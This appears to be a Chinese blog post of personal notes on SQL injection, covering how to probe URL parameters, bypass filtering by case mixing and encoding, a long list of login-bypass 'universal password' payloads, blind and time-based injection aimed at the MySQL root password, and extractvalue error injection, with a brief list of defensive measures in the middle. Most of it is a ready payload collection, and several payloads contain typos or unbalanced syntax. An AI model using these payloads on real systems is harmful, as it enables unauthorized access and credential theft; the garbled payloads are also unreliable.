SQL注入小记

SQL注入笔记:

寻找注入点:

访问下面的连接来观察页面的返回信息:

(1)http://xxx.com/jyh.php?id=9

(2)http://xxx.com/jyh.php?id=9’ and ‘1’='1

(3)http://xxx.com/jyh.php?id=9 and ‘1’='2

产生的情况可能有如下几种:

**页面没有变化:**访问三个链接,显示的页面没有什么不同。这种情况说明后台针对此查询点的过滤比较严格,是否存在SQL注入漏洞还需要进行后续测试。

**页面中少了部分内容:**如访问前两个链接正常,第三个页面里有明显的内容缺失,则基本可以确定有漏洞存在。接下来就需要检测是否有union显示位,如果没有,也可尝试进行bool注入

**错误回显:**如果访问第三个链接后出现数据库报错信息,那么可以判定当前查询点存在注入,用标准的回显注入法即可实现SQL注入攻击

**跳转到默认界面:**如果第一个链接显示正常,第二,三个链接直接跳转到首页或奇特默认页面,那么这可能是后台有逻辑验证,或者是有在线防护系统或防护软件提供实时保护。之后可尝试绕过防护工具的思路(大小写混用,编码等)。

直接关闭连接:如果在访问上述第二,三个链接时出现访问失败,那么这种情况通常为防护类工具直接开启在线阻断导致,后续可利用编码,换行等方式尝试绕过。

万能密码:

逻辑运算优先级:

=>and>or
在这里插入图片描述

万能密码列表:

'or'='or'
admin
admin'--
admin' or 4=4--
admin' or '1'='1'--
admin888
"or "a"="a
admin' or 2=2#
a' having 1=1#
a' having 1=1--
admin' or '2'='2
')or('a'='a
or 4=4--
c
a'or' 4=4--
"or 4=4--
'or'a'='a
"or"="a'='a
'or''='
'or'='or'
1 or '1'='1'=1
1 or '1'='1' or 4=4
'OR 4=4%00
"or 4=4%00
'xor
admin' UNION Select 1,1,1 FROM admin Where ''='
1
-1%cf' union select 1,1,1 as password,1,1,1 %23
1
17..admin' or 'a'='a 密码随便
'or'='or'
'or 4=4/*
something
' OR '1'='1
1'or'1'='1
admin' OR 4=4/*
1'or'1'='1

exists 猜测是否存在字段或者数据库名,表名

where cat=1 and exists(select * from level_test)

123‘ or 1=(select count(1) from tb_users)-- 会查询不出数据,并且不会报错,通过这样可以判断是否存在表tb_users

防止sql注入:

归纳一下,主要有以下几点:

1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。

2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。

3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。

4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。

5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装

6.sql注入的检测方法一般采取辅助软件或网站平台来检测,软件一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。

SQL盲注:

盲注语句:

判断当前主句库版本:

left(version().1)=5#

从左判断当前版本的第一位是否等于5.

判断数据库密码:

AND ascii(substring(select password from users where id=1),1,1))=49

利用时间延迟判断正确与否:

union select if(substring(password,1,1)=‘a’,benchmark(100000,SHA1(1)),0) user,password from mysql.user where user=‘root’

报错注入:extractvalue、updatexml报错原理
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml

名称 描述
ExtractValue() 使用XPath表示法从XML字符串中提取值
UpdateXML() 返回替换的XML片段

extractvlaue(‘abd’,concat(’~’,version())) #

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值